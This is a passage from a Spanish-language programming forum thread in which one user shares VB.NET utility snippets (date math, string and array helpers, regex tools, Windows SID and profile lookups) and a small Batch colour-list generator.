  150.  
  151.    ' Validates an IP adress.
  152.    Private Shared Function Validate_IP(ByVal IP_Address As String) As Boolean
  153.        Dim IP As System.Net.IPAddress = Nothing
  154.        Return System.Net.IPAddress.TryParse(IP_Address, IP)
  155.    End Function
  156.  
  157. End Class
  158.  
  159. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Agosto 2013, 10:59 am
Obtener la diferencia (personalizada) entre dos fechas:

#Region " Date Difference "
    
       ' Date Difference
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       '
       ' MsgBox(DateDifference(DateTime.Parse("01/03/2013"), DateTime.Parse("10/04/2013"))) ' Result: 1 Months, 1 Weeks, 2 Days, 0 Hours, 0 Minutes and 0 Seconds
       ' MsgBox(DateDifference(DateTime.Parse("01/01/2013 14:00:00"), DateTime.Parse("02/01/2013 15:00:30"))) ' Result: 0 Months, 0 Weeks, 1 Days, 1 Hours, 0 Minutes and 30 Seconds
    
       Private Function DateDifference(ByVal Date1 As DateTime, ByVal Date2 As DateTime) As String
    
           Dim MonthDiff As String, WeekDiff As String, _
               DayDiff As String, HourDiff As String, _
               MinuteDiff As String, SecondDiff As String
    
           MonthDiff = Convert.ToString(DateDiff("M", Date1, Date2))
           WeekDiff = Convert.ToString(DateDiff("d", Date1.AddMonths(DateDiff("M", Date1, Date2)), Date2) \ 7)
           DayDiff = Convert.ToString(DateDiff("d", Date1.AddMonths(DateDiff("M", Date1, Date2)), Date2) - (WeekDiff * 7))
           HourDiff = Convert.ToString(DateDiff("h", Date1.AddHours(DateDiff("h", Date1, Date2)), Date2) - (Date1.Hour - Date2.Hour))
           MinuteDiff = Convert.ToString(DateDiff("n", Date1.AddMinutes(DateDiff("n", Date1, Date2)), Date2) - (Date1.Minute - Date2.Minute))
           SecondDiff = Convert.ToString(DateDiff("s", Date1.AddSeconds(DateDiff("s", Date1, Date2)), Date2) - (Date1.Second - Date2.Second))
    
           Return String.Format("{0} Months, {1} Weeks, {2} Days, {3} Hours, {4} Minutes and {5} Seconds", _
                                MonthDiff, WeekDiff, DayDiff, HourDiff, MinuteDiff, SecondDiff)
    
       End Function
    
    #End Region


Corregido:
Código
  1. #Region " Date Difference "
  2.  
  3.    ' Date Difference
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(DateDifference(DateTime.Parse("01/03/2013"), DateTime.Parse("10/04/2013"))) ' Result: 1 Months, 1 Weeks, 2 Days, 0 Hours, 0 Minutes and 0 Seconds
  8.    ' MsgBox(DateDifference(DateTime.Parse("01/01/2013 14:00:00"), DateTime.Parse("02/01/2013 15:00:30"))) ' Result: 0 Months, 0 Weeks, 1 Days, 1 Hours, 0 Minutes and 30 Seconds
  9.  
  10.    Private Function DateDifference(ByVal Date1 As DateTime, ByVal Date2 As DateTime) As String
  11.  
  12.        Dim Time As TimeSpan
  13.        Dim MonthDiff As Integer, WeekDiff As Integer
  14.  
  15.        Do Until Date1 > Date2
  16.            Date1 = Date1.AddMonths(1)
  17.            MonthDiff += 1
  18.        Loop
  19.  
  20.        MonthDiff -= 1
  21.        Date1 = Date1.AddMonths(-1)
  22.        Time = (Date2 - Date1)
  23.        WeekDiff = (Time.Days \ 7)
  24.        Time = (Time - TimeSpan.FromDays(WeekDiff * 7))
  25.  
  26.        Return String.Format("{0} Months, {1} Weeks, {2} Days, {3} Hours, {4} Minutes and {5} Seconds", _
  27.                             MonthDiff, WeekDiff, Time.Days, Time.Hours, Time.Minutes, Time.Seconds)
  28.  
  29.    End Function
  30.  
  31. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Agosto 2013, 04:19 am
Unos tips que he codeado sobre el manejo de una lista de Tuplas, de una lista de FIleInfo, y sobre la utilización de algunas extensiones de LINQ:

PD: Es muy bueno aprender todos estos métodos para dejar en el olvido a los FOR.


List(Of Tuple)
Código
  1.        ' Create the list:
  2.        Dim TupleList As New List(Of Tuple(Of String, Boolean, Integer)) ' From {Tuple.Create("Hello world", True, 1)}
  3.  
  4.        ' Add an Item:
  5.        TupleList.Add(Tuple.Create("Elektro", False, 0))
  6.        TupleList.Add(Tuple.Create("H@cker", True, 1))
  7.  
  8.        ' Order the TupleList by a Tuple item:
  9.        TupleList = TupleList.OrderBy(Function(Tuple) Tuple.Item3).ToList
  10.  
  11.        ' Sort the TupleList by a Tuple item:
  12.        TupleList.Sort( _
  13.        Function(Comparer_A As Tuple(Of String, Boolean, Integer), _
  14.                 Comparer_B As Tuple(Of String, Boolean, Integer)) _
  15.                 Comparer_A.Item3.CompareTo(Comparer_B.Item3))
  16.  
  17.        ' Filter the list by items equals as "True" in their Tuple second item:
  18.        TupleList = TupleList.Where(Function(Tuple) Tuple.Item2 = True).ToList
  19.  
  20.        ' Display a Tuple item from a list item:
  21.        MsgBox(TupleList.Item(0).Item2)
  22.  
  23.        ' Looping the list:
  24.        For Each Item As Tuple(Of String, Boolean, Integer) In TupleList
  25.            MsgBox(Item.Item1)
  26.        Next


List(Of FileInfo)
Código
  1.        ' Create the list:
  2.        Dim Files As List(Of IO.FileInfo) = IO.Directory.GetFiles("C:\", "*") _
  3.        .Select(Function(ToFileInfo) New IO.FileInfo(ToFileInfo)).ToList
  4.  
  5.        ' Add an Item:
  6.        Files.Add(New IO.FileInfo("C:\Windows\Notepad.exe"))
  7.  
  8.        ' Order the list by a file property:
  9.        Files = Files.OrderBy(Function(File) File.Extension).ToList
  10.  
  11.        ' Sort the list by a file property:
  12.        Files.Sort( _
  13.        Function(Comparer_A As IO.FileInfo, Comparer_B As IO.FileInfo) _
  14.                 Comparer_A.Extension.CompareTo(Comparer_B.Extension))
  15.  
  16.        ' Filter the list by files containing "note" word in their filename:
  17.        Files = Files.Where(Function(File) File.Name.ToLower.Contains("note")).ToList
  18.  
  19.        ' Display a file property from a list item:
  20.        MsgBox(Files.Item(0).FullName)
  21.  
  22.        ' Looping the list:
  23.        For Each File As IO.FileInfo In Files
  24.            MsgBox(File.FullName)
  25.        Next


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Agosto 2013, 05:48 am
Convierte una fecha a formato de fecha Unix

Código
  1. #Region " DateTime To Unix "
  2.  
  3.    ' [ DateTime To Unix Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(DateTime_To_Unix(DateTime.Parse("01/01/2013 12:00:00"))) ' Result: 1357041600
  8.  
  9.    Public Function DateTime_To_Unix(ByVal DateTime As DateTime) As Long
  10.        Return DateDiff(DateInterval.Second, #1/1/1970#, DateTime)
  11.    End Function
  12.  
  13. #End Region

Convierte formato de fecha Unix a Fecha normal.

Código
  1. #Region " Unix To DateTime "
  2.  
  3.    ' [ Unix To DateTime Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(Unix_To_DateTime(1357041600)) ' Result: 01/01/2013 12:00:00
  8.  
  9.    Public Function Unix_To_DateTime(ByVal UnixTime As Long) As DateTime
  10.        Return DateAdd(DateInterval.Second, UnixTime, #1/1/1970#)
  11.    End Function
  12.  
  13. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Agosto 2013, 19:17 pm
Una función para convertir entre tasas de transferencia de telecomunicaciones y tasas de transferencia de datos, es decir, entre Bp/s y B/s.

PD: En este snippet @IkillNukes me ha ayudado con los cálculos matemáticos de las enumeraciones, que me daban ciertos problemas.

Código
  1. #Region " Telecommunication Bitrate To DataStorage Bitrate "
  2.  
  3.    ' [ Base64 To String Function ]
  4.    '
  5.    ' // By Elektro H@cker & IKillNukes
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Telecommunication_Bitrate_To_DataStorage_Bitrate(365, _
  10.    '        Telecommunications_Bitrates.Kilobips, _
  11.    '        DataStorage_Bitrates.Kilobytes)) ' Result: 45
  12.    '
  13.    ' MsgBox(Telecommunication_Bitrate_To_DataStorage_Bitrate(365, _
  14.    '        Telecommunications_Bitrates.Kilobips, _
  15.    '        DataStorage_Bitrates.Kilobytes)) ' Result: 45,625
  16.  
  17.    Private Enum Telecommunications_Bitrates As Long
  18.        Bips = 1 ' bit/s
  19.        Kilobips = 1000 ' bit/s
  20.        Megabips = 1000000 ' bit/s
  21.        Gigabips = 1000000000 ' bit/s
  22.        Terabips = 1000000000000 ' bit/s
  23.    End Enum
  24.  
  25.    Private Enum DataStorage_Bitrates As Long
  26.        Bytes = 8 ' bits
  27.        Kilobytes = 8000 ' bits
  28.        Megabytes = 8000000 ' bits
  29.        Gigabytes = 8000000000 ' bits
  30.        Terabytes = 8000000000000  ' bits
  31.    End Enum
  32.  
  33.    Private Function Telecommunication_Bitrate_To_DataStorage_Bitrate( _
  34.                       ByVal BitRate As Single, _
  35.                       ByVal Telecommunications_Bitrates As Telecommunications_Bitrates, _
  36.                       ByVal DataStorage_Bitrates As DataStorage_Bitrates, _
  37.                       Optional ByVal Rounded As Boolean = True
  38.                     ) As Single
  39.  
  40.        Return IIf(Rounded, _
  41.                   (BitRate * Telecommunications_Bitrates) \ DataStorage_Bitrates, _
  42.                   (BitRate * Telecommunications_Bitrates) / DataStorage_Bitrates)
  43.  
  44.    End Function
  45.  
  46. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Agosto 2013, 20:03 pm
Una función para abreviar cantidades de dinero al estilo americano.

PD: He preguntado a gente americana como son las abreviaturas para cifras más grandes de un Trillón pero al parecer no existen abreviaturas Standards, así que me las he inventado un poco basándome en el nombre de las cantidades. http://ell.stackexchange.com/questions/9123/money-abbreviations

EDITO: Corregido la ubicación del caracter del dolar, parece ser que se pone a la izquierda de la cantidad, no a la derecha.
Código
  1.    #Region " Money Abbreviation "
  2.  
  3.       ' [ Money Abbreviation Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       '
  9.       ' MsgBox(Money_Abbreviation(1000))           ' Result: 1 K
  10.       ' MsgBox(Money_Abbreviation(1000000))        ' Result: 1 M
  11.       ' MsgBox(Money_Abbreviation(1500000, False)) ' Result: 1,5 M
  12.  
  13.       Private Function Money_Abbreviation(ByVal Quantity As Object, _
  14.                                           Optional ByVal Rounded As Boolean = True) As String
  15.  
  16.           Dim Abbreviation As String = String.Empty
  17.  
  18.           Select Case Quantity.GetType()
  19.  
  20.               Case GetType(Int16), GetType(Int32), GetType(Int64)
  21.                   Quantity = FormatNumber(Quantity, TriState.False)
  22.  
  23.               Case Else
  24.                   Quantity = FormatNumber(Quantity, , TriState.False)
  25.  
  26.           End Select
  27.  
  28.           Select Case Quantity.ToString.Count(Function(character As Char) character = Convert.ToChar("."))
  29.  
  30.               Case 0 : Return String.Format("${0}", Quantity)
  31.               Case 1 : Abbreviation = "k"
  32.               Case 2 : Abbreviation = "M"
  33.               Case 3 : Abbreviation = "B"
  34.               Case 4 : Abbreviation = "Tr."
  35.               Case 5 : Abbreviation = "Quad."
  36.               Case 6 : Abbreviation = "Quint."
  37.               Case 7 : Abbreviation = "Sext."
  38.               Case 8 : Abbreviation = "Sept."
  39.               Case Else
  40.                   Return String.Format("${0}", Quantity)
  41.  
  42.           End Select
  43.  
  44.           Return IIf(Rounded, _
  45.                  String.Format("{0} {1}", StrReverse(StrReverse(Quantity).Substring(StrReverse(Quantity).LastIndexOf(".") + 1)), Abbreviation), _
  46.                  String.Format("{0} {1}", StrReverse(StrReverse(Quantity).Substring(StrReverse(Quantity).LastIndexOf(".") - 1)), Abbreviation))
  47.  
  48.       End Function
  49.  
  50.    #End Region





Contar la cantidad de coincidencias de un caracter dentro de un string.

Código
  1. #Region " Count Character "
  2.  
  3.    ' [ Count Character Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Count_Character("Elektro", "e"))       ' Result: 1
  9.    ' MsgBox(Count_Character("Elektro", "e", True)) ' Result: 2
  10.  
  11.    Public Function Count_Character(ByVal str As String, ByVal character As Char, _
  12.                                    Optional ByVal IgnoreCase As Boolean = False) As Integer
  13.  
  14.        Return IIf(IgnoreCase, _
  15.                   str.ToLower.Count(Function(c As Char) c = Convert.ToChar(character.ToString.ToLower)), _
  16.                   str.Count(Function(c As Char) c = character))
  17.  
  18.    End Function
  19.  
  20. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Septiembre 2013, 01:43 am
Este código devuelve la cantidad de coincidencias de un String en los valores de un Array:

Código
  1. #Region " Count Array Matches "
  2.  
  3.    ' [ Count Array Matches ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Count_Array_Matches({"a", "b", "c", "d", "d", "d"}, "d")) ' Result: 3
  9.  
  10.    Private Function Count_Array_Matches(ByVal Collection As String(), _
  11.                                         ByVal Match As String, ByVal _
  12.                                         IgnoreCase As Boolean) As Integer
  13.  
  14.        Return IIf(IgnoreCase, _
  15.                  Collection.Where(Function(str) str.ToLower = Match.ToLower).Count, _
  16.                  Collection.Where(Function(str) str = Match).Count)
  17.  
  18.    End Function
  19.  
  20. #End Region





Este código elimina los valores únicos de un array:

Código
  1. #Region " Delete Array Unique Names "
  2.  
  3.    ' [ Delete Array Unique Names ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim MyArray as String() = Delete_Unique_Values_In_Array({"a", "b", "c", "d", "d", "d"}) ' Result: {"d", "d", "d"}
  9.  
  10.    Private Function Delete_Unique_Values_In_Array(ByVal Collection As String()) As String()
  11.        Return Collection.GroupBy(Function(x) x) _
  12.        .Where(Function(x) x.Count() > 1) _
  13.        .SelectMany(Function(x) x) _
  14.        .ToArray()
  15.    End Function
  16.  
  17. #End Region

PD: No está muy optimizado pero para Arrays pequeños no se aprecia nada el performance.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Septiembre 2013, 15:09 pm
Contar las líneas en blanco o valores vacios de un array usando LINQ:


Código
  1. MsgBox(RichTextBox1.Lines.Where(Function(Line) String.IsNullOrEmpty(Line)).Count)
  2.  
  3. MsgBox({"a", "", "", "b"}.Where(Function(value) String.IsNullOrEmpty(value)).Count)


EDITO:

Unas funciones genéricas muy cortas:

Código
  1. #Region " Count Blank Lines "
  2.  
  3.    ' [ Count Blank Lines ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Count_Blank_Lines(RichTextBox1.Lines))
  10.    ' MsgBox(Count_Blank_Lines({"A", "", "", "B"})) ' Result: 2
  11.  
  12.    Private Function Count_Blank_Lines(ByVal str As String()) As Integer
  13.        Return str.Where(Function(X) String.IsNullOrEmpty(X)).Count
  14.    End Function
  15.  
  16. #End Region

Código
  1. #Region " Count Non Blank Lines "
  2.  
  3.    ' [ Count non blank lines ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Count_Non_Blank_Lines(RichTextBox1.Lines))
  10.    ' MsgBox(Count_Non_Blank_Lines({"A", "", "", "B"})) ' Result: 2
  11.  
  12.    Private Function Count_Non_Blank_Lines(ByVal str As String()) As Integer
  13.        Return str.Where(Function(X) Not String.IsNullOrEmpty(X)).Count
  14.    End Function
  15.  
  16. #End Region

Código
  1. #Region " Get non blank lines "
  2.  
  3.    ' [ Get non blank lines ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(String.Join(Environment.NewLine, Get_Non_Blank_Lines(RichTextBox1.Lines)))
  10.    ' MsgBox(String.Join(Environment.NewLine, Get_Non_Blank_Lines({"A", "", "", "B"}))) ' Result: {"A", "B"}
  11.  
  12.    Private Function Get_Non_Blank_Lines(ByVal str As String()) As String()
  13.        Return str.Where(Function(X) Not String.IsNullOrEmpty(X)).ToArray
  14.    End Function
  15.  
  16. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Septiembre 2013, 20:05 pm
Contar todas las agrupaciones en un string:

PD: Para quien no sepa, una agrupación empieza con el caracter "(" y acaba con el ")"

Código
  1.                Dim stack As New Stack(Of Char)
  2.                'Dim input As String = ")((()))("
  3.                Dim input As String = "(Hello) ) ( (World)?"
  4.  
  5.                Dim opened As Integer = 0
  6.                Dim closed As Integer = 0
  7.  
  8.                For Each ch As Char In input
  9.  
  10.                    If ch = "(" Then
  11.                        stack.Push("#")
  12.  
  13.                    ElseIf ch = ")" Then
  14.  
  15.                        If stack.Count = 0 Then
  16.                            opened += 1
  17.                        Else
  18.                            closed += 1
  19.                            stack.Pop()
  20.  
  21.                        End If
  22.  
  23.                    End If
  24.                Next ch
  25.  
  26.                opened = opened + stack.Count
  27.  
  28.                Console.WriteLine("Opened:{0} Closed:{1}", opened, closed)
  29.                MsgBox(String.Format("Opened:{0} Closed:{1}", opened, closed))


EDITO:

Lo he modificado un poco para usarlo a mis necesidades:

Código
  1.  Private ReadOnly Property TotalAgrupations As Dictionary(Of String, Integer)
  2.        Get
  3.            Return Count_Agrupations_In_String(TextBox_RegEx.Text)
  4.        End Get
  5.    End Property
  6.  
  7.    ' MsgBox(TotalAgrupations("Opened"))
  8.    ' MsgBox(TotalAgrupations("Closed"))
  9.  
  10.    Private Function Count_Agrupations_In_String(ByVal str As String) As Dictionary(Of String, Integer)
  11.  
  12.        Dim stack As New Stack(Of Char)
  13.  
  14.        Dim opened As Integer = 0
  15.        Dim closed As Integer = 0
  16.  
  17.        For Each ch As Char In str
  18.  
  19.            If ch = "(" Then
  20.                stack.Push("#")
  21.  
  22.            ElseIf ch = ")" Then
  23.  
  24.                If stack.Count = 0 Then
  25.                    opened += 1
  26.                Else
  27.                    closed += 1
  28.                    stack.Pop()
  29.  
  30.                End If
  31.  
  32.            End If
  33.  
  34.        Next ch
  35.  
  36.        Return New Dictionary(Of String, Integer) From { _
  37.            {"Opened", opened + stack.Count}, _
  38.            {"Closed", closed} _
  39.        }
  40.  
  41.    End Function





Los siguientes códigos he testeado su velocidad de ejecución usando métodos distintos con LINQ, RegEx y For, ha ganado For y con mucha diferencia de ms así que aquí tienen:


Reemplaza (o elimina) todos los caracteres que indiquemos en un string

Código
  1. #Region " Replace All Characters "
  2.  
  3.    ' [ Replace All Characters Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Replace_All_Characters("Hello World!", {"e"c, "o"c}, "+")) ' Result: H+ll+ W+rld!
  10.  
  11.    Public Function Replace_All_Characters(ByVal str As String, _
  12.                                           ByVal chars As Char(), _
  13.                                           replaceWith As Char) As String
  14.  
  15.        For Each c As Char In chars
  16.            str = str.Replace(c, replaceWith)
  17.        Next
  18.  
  19.        Return str
  20.  
  21.    End Function
  22.  
  23. #End Region





Reemplazar todos los caracteres en un string, menos los caracteres que indiquemos.

Código
  1. #Region " Replace All Characters Except "
  2.  
  3.    ' [ Replace All Characters Except Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Replace_All_Characters("Hello World!", "eo", ".")) ' Result: ".e..o..o...."
  10.  
  11.    Public Function Replace_All_Characters_Except(ByVal str As String, _
  12.                                                  ByVal chars As String, _
  13.                                                  replaceWith As Char) As String
  14.  
  15.        Dim temp_str As String = String.Empty
  16.  
  17.        For Each c As Char In str
  18.            If Not chars.Contains(c) Then
  19.                temp_str &= c
  20.            Else
  21.                temp_str &= replaceWith
  22.            End If
  23.        Next c
  24.  
  25.        Return temp_str
  26.  
  27.    End Function
  28.  
  29. #End Region





Eliminar todos los caracteres en un string, menos los caracteres que indiquemos.

El snippet de arriba se puede usar para esta misma función, pero traducido a milisegundos este código es más rápido.

Código
  1. #Region " Remove All Characters Except "
  2.  
  3.    ' [ Remove All Characters Except Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Remove_All_Characters_Except("Hello World!", "eo".ToCharArray)) ' Result: "eoo"
  10.  
  11.    Public Function Remove_All_Characters_Except(ByVal str As String, _
  12.                                              ByVal chars As Char()) As String
  13.  
  14.        Dim temp_str As String = String.Empty
  15.  
  16.        For Each c As Char In str
  17.            For Each cc As Char In chars
  18.                If c = cc Then temp_str &= cc
  19.            Next cc
  20.        Next c
  21.  
  22.        Return temp_str
  23.  
  24.    End Function
  25.  
  26. #End Region



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Septiembre 2013, 00:57 am
Hice un código improvisado en Batch para crear un listado con colores RGB aleatorios (todo lo aleatorio que cabe usando Batch) para luego copiarlo diréctamente en la IDE.

Esto lo hice por la misma razón que suelo hacer con todo este tipo de snippets, para ahorrarme el trabajo manual repetitivo xD, aunque habría quedado más bonito en otro lenguaje.

No necesito generar esta lista en tiempo de ejecución así que perdonarme por no postear una versiónd el code traducida a VB.

Código
  1. @Echo OFF
  2.  
  3. REM By Elektro H@cker
  4.  
  5. TITLE Random Color.FromArgb() Generator for .NET
  6.  
  7. :::::::::::::::::::::
  8. Set /A Max_Colors=255
  9. :::::::::::::::::::::
  10.  
  11. set /A random1 & set /A random2 & set /A random3
  12. set /a index=0
  13.  
  14. Echo+>"Color.FromArgb.txt"
  15.  
  16. :loop1
  17. Call set /a "random1=%%RANDOM:~0,3%%"
  18. if not %random1% GTR 255 (Goto :loop2)
  19. Call set /a "random1=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random1=%%RANDOM:~0,1%%"
  20.  
  21. :loop2
  22. Call set /a "random2=%%RANDOM:~0,3%%"
  23. if not %random2% GTR 255 (Goto :loop3)
  24. Call set /a "random2=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random2=%%RANDOM:~0,1%%"
  25.  
  26. :loop3
  27. Call set /a "random3=%%RANDOM:~0,3%%"
  28. if not %random3% GTR 255 (Goto :Append)
  29. Call set /a "random3=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random3=%%RANDOM:~0,1%%"
  30.  
  31. :Append
  32. Echo Color.FromArgb(%RANDOM1%, %RANDOM2%, %RANDOM3%)
  33. Echo {%index%, Color.FromArgb(%RANDOM1%, %RANDOM2%, %RANDOM3%)}, _>>"Color.FromArgb.txt"
  34.  
  35. Set /A Index+=1
  36. if %index% GTR %Max_Colors% (Pause&Exit)
  37. Goto:loop1

El output es algo así:

CMD:
Código:
Color.FromArgb(248, 51, 134)
Color.FromArgb(119, 23, 233)
Color.FromArgb(120, 81, 71)
Color.FromArgb(54, 209, 179)
Color.FromArgb(115, 219, 46)
Color.FromArgb(146, 229, 130)
Color.FromArgb(254, 87, 184)
Color.FromArgb(117, 50, 23)
Color.FromArgb(47, 203, 46)
Color.FromArgb(75, 226, 13)
Color.FromArgb(192, 40, 49)
Color.FromArgb(49, 214, 63)
Color.FromArgb(149, 105, 65)
Color.FromArgb(130, 133, 166)
Color.FromArgb(45, 185, 214)
Color.FromArgb(41, 196, 20)
Color.FromArgb(230, 23, 193)
Color.FromArgb(146, 21, 5)
Color.FromArgb(40, 92, 52)
Color.FromArgb(151, 93, 22)
Color.FromArgb(124, 236, 78)
Color.FromArgb(55, 226, 50)
Color.FromArgb(30, 139, 76)
Color.FromArgb(67, 50, 69)

Archivo de texto:
Código:
{0, Color.FromArgb(44, 222, 32)}, _
{1, Color.FromArgb(23, 17, 75)}, _
{2, Color.FromArgb(6, 97, 1)}, _
{3, Color.FromArgb(39, 138, 57)}, _
{4, Color.FromArgb(67, 158, 13)}, _
{5, Color.FromArgb(76, 31, 26)}, _
{6, Color.FromArgb(142, 104, 118)}, _
{7, Color.FromArgb(29, 217, 91)}, _
{8, Color.FromArgb(229, 176, 216)}, _
{9, Color.FromArgb(133, 73, 45)}, _
{10, Color.FromArgb(151, 47, 21)}, _
{11, Color.FromArgb(32, 31, 205)}, _
{12, Color.FromArgb(126, 173, 80)}, _
{13, Color.FromArgb(240, 179, 146)}, _
{14, Color.FromArgb(11, 197, 205)}, _
{15, Color.FromArgb(37, 206, 129)}, _
{16, Color.FromArgb(253, 214, 137)}, _
{17, Color.FromArgb(89, 119, 31)}, _
{18, Color.FromArgb(2, 103, 255)}, _
{19, Color.FromArgb(91, 166, 196)}, _
{20, Color.FromArgb(79, 90, 82)}, _
{21, Color.FromArgb(154, 249, 78)}, _
{22, Color.FromArgb(93, 125, 5)}, _
{23, Color.FromArgb(192, 119, 17)}, _
{24, Color.FromArgb(60, 250, 236)}, _
{25, Color.FromArgb(196, 97, 99)}, _


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Septiembre 2013, 10:22 am
Validar la sintaxis de un RegEx

Código
  1.    #Region " Validate RegEx "
  2.  
  3.       ' [ Validate RegEx Function ]
  4.       '
  5.       ' //By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Validate_RegEx("\"))  ' Result: False
  9.       ' MsgBox(Validate_RegEx("\\")) ' Result: True  
  10.  
  11.    Private Function Validate_RegEx(Pattern As String) As Boolean
  12.  
  13.        Dim temp_RegEx As System.Text.RegularExpressions.Regex
  14.  
  15.        Try
  16.            temp_RegEx = New System.Text.RegularExpressions.Regex(Pattern)
  17.            Return True
  18.        Catch
  19.            Return False
  20.        Finally
  21.            temp_RegEx = Nothing
  22.        End Try
  23.  
  24.    End Function
  25.  
  26.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Septiembre 2013, 18:22 pm
 Resalta los colores de las coincidencias encontradas de una expresión regular en el contenido de un RichTextBox.

Código
  1.  
  2.    #Region " Highlight RegEx In RichTextBox "
  3.  
  4.       ' [ Highlight RegEx In RichTextBox Function ]
  5.       '
  6.       ' //By Elektro H@cker
  7.       '
  8.       ' Examples :
  9.       '
  10.       ' RichTextBox1.Text = String.Format("{0}{1}{0}{1}{0}{1}", "Hello World!", vbNewLine)
  11.       ' Match_RegEx_In_RichTextBox(RichTextBox1, "Hello (World)", 0, Color.Red) ' Colored Result: "Hello World"
  12.       ' Match_RegEx_In_RichTextBox(RichTextBox1, "Hello (World)", 1, Color.Red) ' Colored Result: "World"
  13.  
  14.    Private Sub Highlight_RegEx_In_RichTextBox(ByVal richtextbox As RichTextBox, _
  15.                                           ByVal regex_pattern As String, _
  16.                                           ByVal regex_group As Integer, _
  17.                                           ByVal color As Color)
  18.  
  19.        Dim Matches = Regex.Match(richtextbox.Text, regex_pattern)
  20.  
  21.        Do While Matches.Success
  22.  
  23.            richtextbox.Select(Matches.Groups(regex_group).Index, Matches.Groups(regex_group).Length)
  24.            RichTextBox1.SelectionColor = color
  25.            Matches = Matches.NextMatch()
  26.  
  27.        Loop
  28.  
  29.        richtextbox.Select(richtextbox.TextLength, 0) ' Reset selection
  30.  
  31.        Matches = Nothing
  32.  
  33.    End Sub
  34.  
  35.    #End Region
  36.  
  37.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Septiembre 2013, 22:11 pm
(http://img197.imageshack.us/img197/1387/y93i.png)

· Obtiene el identificador de usuario (SID) de un usuario

Código
  1. #Region " Username To SID "
  2.  
  3.    ' [ Username To SID ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Username_To_SID("Administrador")) ' Result: S-1-5-21-3344876933-2114507426-1248549232-500
  9.  
  10.    Private Function Username_To_SID(ByVal Username As String) As String
  11.  
  12.        Dim SID As String = New System.Security.Principal.NTAccount(Username). _
  13.                                       Translate(GetType(System.Security.Principal.SecurityIdentifier)).Value
  14.  
  15.        Return SID
  16.  
  17.    End Function
  18.  
  19. #End Region





· Obtiene la carpeta del perfil de usuario de un usuario.

Código
  1. #Region " Username To ProfilePath "
  2.  
  3.    ' [ Username To ProfilePath ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Username_To_ProfilePath("Administrador")) ' Result: C:\Users\Administrador
  9.  
  10.    Private Function Username_To_ProfilePath(ByVal Username As String) As String
  11.  
  12.        Dim SID As String = _
  13.        New System.Security.Principal.NTAccount(Username). _
  14.        Translate(GetType(System.Security.Principal.SecurityIdentifier)).Value
  15.  
  16.        Return My.Computer.Registry.GetValue( _
  17.               "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\" & SID, _
  18.               "ProfileImagePath", _
  19.               "Unknown directory")
  20.  
  21.    End Function
  22.  
  23. #End Region






· Obtiene el nombre de usuario de un identificador de usuario (SID)

Código
  1. #Region " SID To Username "
  2.  
  3.    ' [ SID To Username ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(SID_To_Username("S-1-5-21-3344876933-2114507426-1248549232-500")) ' Result: Administrador
  9.  
  10.    Private Function SID_To_UUsername(ByVal SID As String) As String
  11.  
  12.        Dim DomainName As String = New System.Security.Principal.SecurityIdentifier(SID). _
  13.                                       Translate(GetType(System.Security.Principal.NTAccount)).Value
  14.  
  15.        Return DomainName.Substring(DomainName.IndexOf("\") + 1)
  16.  
  17.    End Function
  18.  
  19. #End Region





· Obtiene la carpeta del perfil de un usuario mediante un identificador de usuario (SID)

Código
  1. #Region " SID To ProfilePath "
  2.  
  3.    ' [ SID To ProfilePath ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(SID_To_ProfilePath("S-1-5-21-3344876933-2114507426-1248549232-500")) ' Result: "C:\Users\Administrador"
  9.  
